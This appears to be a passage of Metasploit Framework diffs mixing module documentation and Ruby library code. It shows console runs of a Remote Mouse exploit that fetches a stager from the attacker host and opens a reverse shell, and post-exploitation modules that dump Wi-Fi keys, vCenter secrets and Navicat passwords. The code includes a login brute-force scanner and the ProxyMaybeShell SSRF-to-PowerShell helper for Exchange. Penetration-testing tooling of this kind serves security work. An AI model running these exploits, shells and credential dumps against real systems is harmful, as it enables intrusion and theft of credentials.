The length of time, in seconds, to sleep between each command. This gives the remote program time to process the command on screen.
Defaults to `1`.
## Scenarios
### Remote Control Server 3.1.1.12 on Windows 10
```
resource (remote_mouse.rb)> use exploits/windows/misc/remote_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (remote_mouse.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (remote_mouse.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (remote_mouse.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/remote_mouse_rce) > run
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:1978 - Running automatic check ("set AutoCheck false" to disable)
[+] 1.1.1.1:1978 - The target appears to be vulnerable. Received handshake with version: 411
[*] 1.1.1.1:1978 - Connecting
[*] 1.1.1.1:1978 - Sending Windows key
[*] 1.1.1.1:1978 - Opening command prompt
[*] 1.1.1.1:1978 - Sending stager
[*] 1.1.1.1:1978 - Using URL: http://2.2.2.2:8080/
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
[+] 1.1.1.1:1978 - Payload request received, sending 73802 bytes of payload for staging
[*] 1.1.1.1:1978 - Executing payload
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 1.1.1.1
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:49962) at 2022-09-27 16:33:02 -0400
[*] 1.1.1.1:1978 - Server stopped.
[!] 1.1.1.1:1978 - This exploit may require manual cleanup of 'c:\Windows\Temp\NADYvmtxr.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Users\windows>whoami
whoami
win10prolicense\windows
C:\Users\windows>systeminfo
systeminfo
Host Name: WIN10PROLICENSE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
```
### Remote Control Server 3.1.1.12 on Windows 10, with a password
Expected to fail.
```
resource (remote_control_collection.rb)> use exploits/windows/misc/remote_control_collection_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (remote_control_collection.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (remote_control_collection.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (remote_control_collection.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/remote_control_collection_rce) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Connecting and Sending Windows key
[*] Opening command prompt
[*] Sending stager
[*] Using URL: http://2.2.2.2:8080/
[*] Executing payload
[*] Server stopped.
[!] This exploit may require manual cleanup of 'c:\Windows\Temp\OqsTi76PX80it.exe' on the target
[*] Exploit completed, but no session was created
```
@@ -0,0 +1,48 @@
## Vulnerable Application
This module collects 802-11-Wireless-Security credentials such as
Access-Point name and Pre-Shared-Key from Linux NetworkManager
connection configuration files.
## Verification Steps
1. Start msfconsole
1. Get a `root` session
1. Do: `use post/linux/gather/enum_psk`
1. Do: `set session <session ID>`
1. Do: `run`
1. You should receive credentails for wireless connections
## Options
### DIR
The path for NetworkManager configuration files (default: `/etc/NetworkManager/system-connections/`)
## Scenarios
### Ubuntu 22.04.1 (x86_64)
```
msf6 > use post/linux/gather/enum_psk
msf6 post(linux/gather/enum_psk) > set session 1
session => 1
msf6 post(linux/gather/enum_psk) > run
[*] Reading file /etc/NetworkManager/system-connections//Profile 1.nmconnection
[*] Reading file /etc/NetworkManager/system-connections//test
802-11-wireless-security
========================
AccessPoint-Name PSK
---------------- ---
test 1234567890
[+] Credentials stored in: /root/.msf4/loot/20221120081233_default_192.168.200.204_linux.psk.creds_045512.txt
[*] Post module execution completed
msf6 post(linux/gather/enum_psk) >
```
@@ -274,3 +274,79 @@ msf6 post(linux/gather/vcenter_secrets_dump) > dump
[+] AD User: sam@cesium137.io
[+] AD Pass: Gr33n3gg$!
[*] Post module execution completed
```
Example run from meterpreter session on vCenter appliance version 6.7 build-18831049
```
msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump
msf6 post(linux/gather/vcenter_secrets_dump) > set session 1
session => 1
msf6 post(linux/gather/vcenter_secrets_dump) > run
[*] VMware VirtualCenter 6.7.0 build-18831049
[*] vCenter Appliance (Embedded)
[*] Validating target
[*] Appliance IPv4: 2.2.2.2
[*] Appliance Hostname: photon-machine.ragedomain
[*] Appliance OS: VMware Photon Linux 1.0-62c543d
[*] Gathering vSphere SSO domain information
[+] vSphere SSO DC DN: cn=photon-machine.ragedomain,ou=Domain Controllers,dc=vsphere,dc=local
[+] vSphere SSO DC PW: )sM8M]h,YZBQ:kY['h^(
[*] Extracting tenant and vpx AES encryption key...
[+] vSphere Tenant AES encryption
[+] KEY: ]E6"Jg7V}d{!Q:Lh
[+] HEX: 5d4536224a6737567d647b21513a4c68
[+] vSphere vmware-vpx AES encryption
[+] HEX: ac20416a5850df52f1bf889440995871ba52984a893dbe44fd71c5c768aea3be
[*] Extracting PostgreSQL database credentials
[+] VCDB Name: VCDB
[+] VCDB User: vc
[+] VCDB Pass: MB&|<)haN6Q>{K3O
[*] Checking for VPX Users
[-] No VPXUSER entries were found
[*] Extract ESXi host vpxuser credentials
[!] No ESXi hosts attached to this vCenter system
[*] Extracting vSphere SSO domain secrets
[*] Dumping vmdir schema to LDIF and storing to loot...
[!] Unable to retrieve ldif contents
WARNING: there is already a transaction in progress
[-] Error processing LDIF file
[*] Extracting certificates from vSphere platform
[+] VMCA_ROOT key: /root/.msf4/loot/20221102165124_default_2.2.2.2_vmca_523828.key
[+] VMCA_ROOT cert: /root/.msf4/loot/20221102165124_default_2.2.2.2_vmca_694934.pem
[+] SSO_STS_IDP key: /root/.msf4/loot/20221102165125_default_2.2.2.2_idp_031902.key
[+] SSO_STS_IDP cert: /root/.msf4/loot/20221102165125_default_2.2.2.2_idp_256763.pem
[+] MACHINE_SSL_CERT Key: /root/.msf4/loot/20221102165126_default_2.2.2.2___MACHINE_CERT_448485.key
[+] MACHINE_SSL_CERT Cert: /root/.msf4/loot/20221102165126_default_2.2.2.2___MACHINE_CERT_793765.pem
[+] MACHINE Key: /root/.msf4/loot/20221102165127_default_2.2.2.2_machine_336860.key
[+] MACHINE Cert: /root/.msf4/loot/20221102165127_default_2.2.2.2_machine_588424.pem
[+] VSPHERE-WEBCLIENT Key: /root/.msf4/loot/20221102165127_default_2.2.2.2_vspherewebclien_567378.key
[+] VSPHERE-WEBCLIENT Cert: /root/.msf4/loot/20221102165127_default_2.2.2.2_vspherewebclien_997605.pem
[+] VPXD Key: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxd_521342.key
[+] VPXD Cert: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxd_415704.pem
[+] VPXD-EXTENSION Key: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxdextension_152066.key
[+] VPXD-EXTENSION Cert: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxdextension_359784.pem
[+] DATA-ENCIPHERMENT Key: /root/.msf4/loot/20221102165129_default_2.2.2.2_dataenciphermen_517854.key
[+] DATA-ENCIPHERMENT Cert: /root/.msf4/loot/20221102165129_default_2.2.2.2_dataenciphermen_408460.pem
[+] SMS Key: /root/.msf4/loot/20221102165130_default_2.2.2.2_sms_self_signed_777691.key
[+] SMS Cert: /root/.msf4/loot/20221102165130_default_2.2.2.2_sms_self_signed_215695.pem
[*] Searching for secrets in VM Guest Customization Specification XML
[!] No vpx_customization_spec entries evident
[*] Retrieving .pgpass file
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for localhost:replication
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for 127.0.0.1:replication
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for /var/run/vpostgres:replication
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for localhost:postgres
[+] posgres database creds found: postgres, md5fdb13b980a01e3d1ae99b5b55b6e4303
[+] posgres database creds found: replicator, md5c2a01981014a380b63c0c7c66ad77ba9
[+] posgres database creds found: vc, md53b5a9fc0dd6c99567e9ca27c459b43d9
[+] posgres database creds found: vumuser, md5fc719b1b56f02981027379fd15125feb
[+] posgres database creds found: cns, md5d92e4534c059354dee12a7cc9a79faff
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for 127.0.0.1:postgres
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for localhost:VCDB
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for 127.0.0.1:VCDB
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:VCDB
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:postgres
[+] Saving the /root/.pgpass contents to /root/.msf4/loot/20221102165131_default_2.2.2.2_.pgpass_509065.txt
[*] Post module execution completed
```
@@ -0,0 +1,73 @@
## Vulnerable Application
This module reverse resolves an IP address or IP address range to hostnames.
## Verification Steps
1. Start msfconsole
1. Get a session
1. Do: `use post/multi/recon/reverse_lookup`
1. Do: `set SESSION <session id>`
1. Do: `set ADDRESS <IP address>` or `set RANGE <IP address range>`
1. Do: `run`
## Options
### ADDRESS
IP address to resolve.
### RANGE
IP address range to resolve.
## Scenarios
### Windows Server 2016 (x86_64)
```
msf6 > use post/multi/recon/reverse_lookup
msf6 post(multi/recon/reverse_lookup) > set address 1.1.1.1
address => 1.1.1.1
msf6 post(multi/recon/reverse_lookup) > set session 1
session => 1
msf6 post(multi/recon/reverse_lookup) > run
[*] Resolving 1.1.1.1
[+] 1.1.1.1 resolves to one.one.one.one
[*] Post module execution completed
```
### Solaris 11.3 (x86_64)
```
msf6 > use post/multi/recon/reverse_lookup
msf6 post(multi/recon/reverse_lookup) > set address 1.1.1.1
address => 1.1.1.1
msf6 post(multi/recon/reverse_lookup) > set session 1
session => 1
msf6 post(multi/recon/reverse_lookup) > run
[*] Resolving 1.1.1.1
[+] 1.1.1.1 resolves to one.one.one.one
[*] Post module execution completed
```
### Ubuntu Linux 22.04.1 (x86_64)
```
msf6 > use post/multi/recon/reverse_lookup
msf6 post(multi/recon/reverse_lookup) > set address 1.1.1.1
address => 1.1.1.1
msf6 post(multi/recon/reverse_lookup) > set session 1
session => 1
msf6 post(multi/recon/reverse_lookup) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_memread, stdapi_railgun_api
[*] Resolving 1.1.1.1
[+] 1.1.1.1 resolves to one.one.one.one
[*] Post module execution completed
```
@@ -0,0 +1,72 @@
## Vulnerable Application
This module can decrypt the password of navicat, If the user chooses to remember the password.
Analysis of encryption algorithm [here](https://github.com/HyperSine/how-does-navicat-encrypt-password).
You can find its official website [here](https://navicat.com/).
## Verification Steps
1. Download the latest installer of Navicat.
2. Use navicat to log in to DB server.
3. Remember to save the account password.
4. Get a `meterpreter` session on a Windows host.
5. Do: `run post/windows/gather/credentials/navicat`
6. If the session file is saved in the system, the host, port, user name and plaintext password will be printed.
## Options
### NCX_PATH
Specify the path of the NCX export file. e.g.: connections.ncx
## Scenarios
```
meterpreter > run post/windows/gather/credentials/navicat
*] Gathering Navicat password information from WIN-79MR8QJM50N
Navicat Sessions
================
Name Protocol Hostname Port Username Password
---- -------- -------- ---- -------- --------
mongodb mongodb localhost 27017 user password
test_mysql mysql localhost 3306 root test_mysql_password
test_oracle oracle 127.0.0.1 1521 user password
test_pg postgres localhost 5432 postgres test_pg_password
test_sqlserver mssql 127.0.0.1 1433 user password
[+] Session info stored in: /home/kali-team/.msf4/loot/20221002233644_default_192.168.80.128_host.navicat_ses_919319.txt
[*] Post module execution completed
meterpreter >
```
* Specify **NCX_PATH**
```
msf6 post(windows/gather/credentials/navicat) > set ncx_path C:\\Users\\FireEye\\Desktop\\connections.ncx
ncx_path => C:\Users\FireEye\Desktop\connections.ncx
msf6 post(windows/gather/credentials/navicat) > run
[*] Gathering Navicat password information from WIN-79MR8QJM50N
[*] Looking for C:\Users\FireEye\Desktop\connections.ncx
[+] navicat.ncx saved to /home/kali-team/.msf4/loot/20221002234356_default_192.168.80.128_navicat.creds_838577.txt
Navicat Sessions
================
Name Protocol Hostname Port Username Password
---- -------- -------- ---- -------- --------
mongodb mongodb localhost 27017 user password
test_mysql mysql localhost 3306 root test_mysql_password
test_oracle oracle 127.0.0.1 1521 user password
test_pg postgres localhost 5432 postgres test_pg_password
test_sqlserver mssql 127.0.0.1 1433 user password
[+] Session info stored in: /home/kali-team/.msf4/loot/20221002234356_default_192.168.80.128_host.navicat_ses_522370.txt
[*] Finished processing C:\Users\FireEye\Desktop\connections.ncx
[*] Post module execution completed
```
@@ -6,6 +6,7 @@ This module allows you to collect login information for PureVPN client, specific
Versions before 6.0 should be vulnerable. For testing purposes, you may find the vulnerable version here:
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
* [https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m](https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m)
* [https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe](https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe)
@@ -0,0 +1,59 @@
## Vulnerable Application
This module pulls a user's proxy settings. If neither RHOST or SID
are set it pulls the current user, else it will pull the user's settings
for the specified SID and target host.
## Verification Steps
1. Start msfconsole
1. Get a session on a Windows host
1. Do: `use post/windows/gather/enum_proxy`
1. Do: `set session <session id>`
1. Do: `run`
1. You should receive system proxy information
## Options
### RHOST
Remote host to clone settings to (defaults to local)
### SID
SID of user to clone settings to (SYSTEM is S-1-5-18) (default: blank)
## Scenarios
### Windows Server 2016 (x86_64)
```
msf6 > use post/windows/gather/enum_proxy
msf6 post(windows/gather/enum_proxy) > set session 1
session => 1
msf6 post(windows/gather/enum_proxy) > run
[*] Proxy Counter = 3
[*] Setting: WPAD and Proxy server
[*] Proxy Server: http=127.0.0.1:80;https=127.0.0.1:80;ftp=127.0.0.1:80
[*] Post module execution completed
```
### Windows 7 SP1 (x86_64)
```
msf6 > use post/windows/gather/enum_proxy
msf6 post(windows/gather/enum_proxy) > set session 1
session => 1
msf6 post(windows/gather/enum_proxy) > run
[*] Proxy Counter = 77
[*] Setting: WPAD, Proxy server and AutoConfigure script
[*] Proxy Server: http=127.0.0.1:8080;https=127.0.0.1:8080;ftp=127.0.0.1:8080
[*] AutoConfigURL: http://corp.local/wpad.dat
[*] Post module execution completed
msf6 post(windows/gather/enum_proxy) >
```
+1
View File
@@ -116,6 +116,7 @@ _msfvenom_formats_list=(
'aspx-exe'
'axis2'
'dll'
'ducky-script-psh'
'elf'
'elf-so'
'exe'
@@ -13,7 +13,7 @@ class ManagedRemoteDataService
include Singleton
#
# Returns true if the the managed data service process is running.
# Returns true if the managed data service process is running.
#
def running?
return @running
@@ -115,7 +115,8 @@ module Metasploit
proof: nil,
host: host,
port: port,
protocol: 'tcp'
protocol: 'tcp',
service_name: ssl ? 'https' : 'http',
}
begin
@@ -0,0 +1,125 @@
require 'metasploit/framework/login_scanner/http'
require 'json'
module Metasploit
module Framework
module LoginScanner
class SyncoveryFileSyncBackup < HTTP
DEFAULT_PORT = 8999 # HTTP=8999; HTTPS=8943
PRIVATE_TYPES = [ :password ].freeze
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
# Checks if the target is Syncovery File Sync & Backup Software. The login module should call this.
#
# @return [Boolean] TrueClass if target is Syncovery, otherwise FalseClass
def check_setup
login_uri = normalize_uri("#{uri}/")
res = send_request({ 'uri' => login_uri })
if res && res.code == 200 && res.body.include?('Syncovery')
return true
end
false
end
# Gets the Syncovery version.
#
# @return [String] version if version was found, otherwise FalseClass
def get_version
globals = normalize_uri("#{uri}/get_global_variables")
res = send_request({ 'uri' => globals })
if res && res.code == 200
json_res = res.get_json_document
version = json_res['SyncoveryTitle']&.scan(/Syncovery\s([A-Za-z0-9.]+)/)&.flatten&.first || ''
return version
end
false
end
# Actually doing the login. Called by #attempt_login
#
# @param username [String] The username to try
# @param password [String] The password or token to try
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body or the session token
def get_login_state(username, password)
# Prep the data needed for login
if username.empty?
# no username => token is used as password
res = send_request({
'uri' => normalize_uri("#{uri}/profiles.json"),
'vars_get' => {
'recordstartindex' => '0',
'recordendindex' => '0'
},
'method' => 'GET',
'headers' => {
'token' => password
}
})
unless res
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: res.to_s }
end
if !res.body.to_s.include? 'Session Expired'
return { status: LOGIN_STATUS::SUCCESSFUL, proof: res.body.to_s }
end
return { proof: res.body.to_s }
else
# use username:password
res = send_request({
'uri' => normalize_uri("#{uri}/post_applogin.php"),
'vars_get' => {
'login' => username.to_s,
'password' => password.to_s
},
'method' => 'GET'
})
unless res
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT }
end
# After login, the application should give us a new token
# session_token is actually just base64(MM/dd/yyyy HH:mm:ss) at the time of the login
json_res = res.get_json_document
token = json_res['session_token']
if token.present?
return { status: LOGIN_STATUS::SUCCESSFUL, proof: token.to_s }
end
return { proof: res.to_s }
end
end
# Attempts to login to Syncovery File Sync & Backup Software. This is called first.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(get_login_state(credential.public, credential.private))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
end
end
end
end
@@ -49,7 +49,7 @@ module Metasploit
end
if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m # Regex check for older versions of Zabbix prior to version 3.
if res.body.to_s !~ /<a target="_blank" class="grey link-alt" href="http[sS]{0,1}:\/\/www\.zabbix\.com\/documentation\/(\d+\.\d+)\/">Help<\/a>/m
if res.body.to_s !~ /href="http[sS]{0,1}:\/\/www\.zabbix\.com\/documentation\/(\d+\.\d+)\/">Help<\/a>/m
return "Unexpected HTTP body (is this really Zabbix?)" # If both the regex for the old and new versions
# fail to match, the target likely isn't Zabbix.
end
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.25"
VERSION = "6.2.30"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -0,0 +1,207 @@
# -*- coding: binary -*-
require 'winrm'
module Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super
register_advanced_options(
[
Msf::OptFloat.new('MaxBackendRetries', [true, 'The maximum number of times to retry for targeting the backend', 10]),
], self.class
)
end
def execute_powershell(cmdlet, args: [], cat: nil)
winrm = SSRFWinRMConnection.new({
endpoint: full_uri('PowerShell/'),
transport: :ssrf,
max_backend_retries: datastore['MaxBackendRetries'].to_i,
ssrf_proc: proc do |method, uri, opts|
uri = "#{uri}?X-Rps-CAT=#{cat}" if cat
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
)
opts[:data].gsub!(
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
)
res = send_http(method, uri, opts)
raise WinRM::WinRMAuthorizationError.new('Server responded with 401 Unauthorized.') if res&.code == 401
res
end
})
successful = true
begin
winrm.shell(:powershell) do |shell|
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
shell.extend(SSRFWinRMConnection::PowerShell)
shell.run({ cmdlet: cmdlet, args: args }) do |stdout, stderr|
unless stdout.blank?
vprint_line('PSRP output received:')
vprint_line(stdout)
end
unless stderr.blank?
successful = false
vprint_error('PSRP error received:')
vprint_line(stderr)
end
end
end
rescue WinRM::WinRMAuthorizationError => e
fail_with(Msf::Exploit::Failure::NoAccess, e.message)
rescue WinRM::WinRMError => e
vprint_error("Exception: #{e.message}")
successful = false
rescue Msf::Exploit::Failed => e
raise e
rescue RuntimeError => e
print_error("Exception: #{e.inspect}")
successful = false
end
successful
end
def send_http(method, uri, opts = {})
request = {
'method' => method,
'uri' => uri,
'agent' => datastore['UserAgent'],
'ctype' => opts[:ctype],
'cookie' => opts[:cookie],
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
}
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
request = request.merge(opts[:authentication]) unless opts[:authentication].nil?
begin
received = send_request_cgi(request)
rescue Errno::ECONNRESET => e
fail_with(Msf::Exploit::Failure::Disconnected, 'Server reset the connection.')
end
fail_with(Msf::Exploit::Failure::TimeoutExpired, 'Server did not respond in an expected way.') unless received
received
end
class XMLTemplate
def self.render(template_name, context = nil)
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxymaybeshell', "#{template_name}.xml.erb")
template = ::File.binread(file_path)
case context
when Hash
b = binding
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
b.eval(locals.join)
when NilClass
b = binding
else
raise ArgumentError
end
b.eval(Erubi::Engine.new(template).src)
end
end
class SSRFWinRMConnection < WinRM::Connection
class MessageFactory < WinRM::PSRP::MessageFactory
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
WinRM::PSRP::Message.new(
runspace_pool_id,
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
pipeline_id
)
end
end
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
# vulnerability
class TransportFactory < WinRM::HTTP::TransportFactory
class HttpSsrf < WinRM::HTTP::HttpTransport
# rubocop:disable Lint/
def initialize(endpoint, options)
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
@ssrf_proc = options[:ssrf_proc]
# this tracks the backend target, the PSRP session needs to communicate with one target
# this would be the case if Exchange Data Access Group (DAG) is in use
@backend = nil
@max_backend_attempts = [options.fetch(:max_backend_retries, 10) + 1, 1].max
end
def send_request(message)
resp = nil
@max_backend_attempts.times do
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
if resp.code == 500 && resp.headers['X-CalculatedBETarget'] != @backend
# retry the request if it failed and the backend was different than the target
next
end
break
end
if resp&.code == 200 && @backend.nil?
@backend = resp.headers['X-CalculatedBETarget']
end
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
end
attr_reader :backend
end
def create_transport(connection_opts)
raise NotImplementedError unless connection_opts[:transport] == :ssrf
super
end
private
def init_ssrf_transport(opts)
HttpSsrf.new(opts[:endpoint], opts)
end
end
module PowerShell
def send_command(command, _arguments)
command_id = SecureRandom.uuid.to_s.upcase
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
fragmenter.fragment(message) do |fragment|
command_args = [connection_opts, shell_id, command_id, fragment]
if fragment.start_fragment
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
else
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
end
end
command_id
end
end
def initialize(connection_opts)
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
connection_opts.merge!({ user: :ssrf, password: :ssrf })
super(connection_opts)
end
def transport
@transport ||= begin
transport_factory = TransportFactory.new
transport_factory.create_transport(@connection_opts)
end
end
end
end
+37
View File
@@ -0,0 +1,37 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with gitea installations
module Gitea
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Gitea::Base
include Msf::Exploit::Remote::HTTP::Gitea::Version
include Msf::Exploit::Remote::HTTP::Gitea::Helpers
include Msf::Exploit::Remote::HTTP::Gitea::Login
include Msf::Exploit::Remote::HTTP::Gitea::Error
include Msf::Exploit::Remote::HTTP::Gitea::URIs
include Msf::Exploit::Remote::HTTP::Gitea::Repository
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the gitea application', '/'])
], Msf::Exploit::Remote::HTTP::Gitea
)
register_advanced_options(
[
Msf::OptBool.new('GITEACHECK', [true, 'Check if the website is a valid Gitea install', true]),
], Msf::Exploit::Remote::HTTP::Gitea
)
end
end
end
end
end
end
@@ -0,0 +1,36 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitea::Base
# Checks if the site is online and running gitea
#
# @return [String,nil] if the site is online and running gitea, nil or raise
# UnknownError, VersionError and ::Rex exceptions otherwise
def get_gitea_version
unless datastore['GITEACHECK']
vprint_status 'Skipping Gitea check...'
return true
end
gitea_detect_regexes = [
/i_like_gitea=\w+/,
]
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('Check TARGETURI - Unexpected HTTP response code') if res&.code != 200
if gitea_detect_regexes.none? { |r| res.get_cookies =~ r }
raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('No web server or gitea instance found')
end
version = gitea_version(res)
raise Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError.new unless version
version
rescue ::Rex::ConnectionError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('Could not connect to the web service')
end
end
@@ -0,0 +1,45 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitea::Error
class WebError < ::StandardError
def initialize(message: nil)
super(message || 'Gitea WebError')
end
end
class CsrfError < WebError
def initialize
super(message: 'Unable to get CSRF token')
end
end
class AuthenticationError < WebError
def initialize
super(message: 'Authentication failed')
end
end
class MigrationError < WebError
def initialize(message)
super(message: message)
end
end
class RepositoryError < WebError
def initialize(message)
super(message: message)
end
end
class UnknownError < WebError
def initialize(message)
super(message: message)
end
end
class VersionError < WebError
def initialize
super(message: 'Unable to determine Gitea version')
end
end
end
@@ -0,0 +1,97 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitea::Helpers
# Helper methods are private and should not be called by modules
module_function
# Returns CSRF token string for Gitea session
#
# @param res [Rex::Proto::Http::Response] Rex HTTP Response object
# @return [String,nil] csrf token if found, nil otherwise
def gitea_get_csrf(res)
res&.get_html_document&.at('//input[@name="_csrf"]/@value')&.text
end
# Returns string for Gitea repository uid
#
# @param res [Rex::Proto::Http::Response] Rex HTTP Response object
# @return [String,nil] repo uid string if found, nil otherwise
def gitea_get_repo_uid(res)
res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
end
# Returns string for Gitea service type uri
#
# @param res [Rex::Proto::Http::Response] Rex HTTP Response object
# @return [String,nil] Gitea service type uri string if found, nil otherwise
def gitea_get_service_type_uri(res)
res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
end
# Returns the POST data for a Gitea login request
#
# @param user [String] Username
# @param pass [String] Password
# @param csrf [String] Login csrf
# @return [Hash] The post data for vars_post Parameter
def gitea_helper_login_post_data(user, pass, csrf)
{
'user_name' => user,
'password' => pass,
'_csrf' => csrf
}
end
# Returns the POST data for a Gitea create repository request
#
# @param name [String] Repository name
# @param uid [String] Repository uid
# @param csrf [String] Login csrf
# @return [Hash] The post data for vars_post Parameter
def gitea_helper_repo_create_post_data(name, uid, csrf)
{
'uid' => uid,
'auto_init' => 'on',
'readme' => 'Default',
'repo_name' => name,
'trust_model' => 'default',
'default_branch' => 'master',
'_csrf' => csrf
}
end
# Returns the POST data for a Gitea remove repository request
#
# @param name [String] Repository path
# @param csrf [String] Login csrf
# @return [Hash] The post data for vars_post Parameter
def gitea_helper_repo_remove_post_data(name, csrf)
{
'action' => 'delete',
'repo_name' => name,
'_csrf' => csrf
}
end
# Returns the POST data for a Gitea migrate repository request
#
# @param name [String] Repository name
# @param uid [String] Repository uid
# @param service [String] Service id
# @param url [String] Repository name
# @param token [String] Repository auth token
# @param csrf [String] Login csrf
# @return [Hash] The post data for vars_post Parameter
def gitea_helper_repo_migrate_post_data(name, uid, service, url, token, csrf)
{
'uid' => uid,
'service' => service,
'pull_requests' => 'on',
'repo_name' => name,
'_csrf' => csrf,
'auth_token' => token,
'clone_addr' => url
}
end
end
@@ -0,0 +1,36 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Gitea::Login
# performs a gitea login
#
# @param user [String] Username
# @param pass [String] Password
# @param timeout [Integer] The maximum number of seconds to wait before the
# request times out
# @raise [CsrfError] if the CSRF could not be retrieved
# @raise [AuthenticationError] if the authentication fails
# @return [Rex::Proto::Http::Response,AuthenticationError] the HTTP response
# on successful login, raise AuthenticationError otherwise
def gitea_login(user, pass, timeout = 20)
res = send_request_cgi({
'uri' => gitea_url_login,
'keep_cookies' => true
}, timeout)
return nil unless res
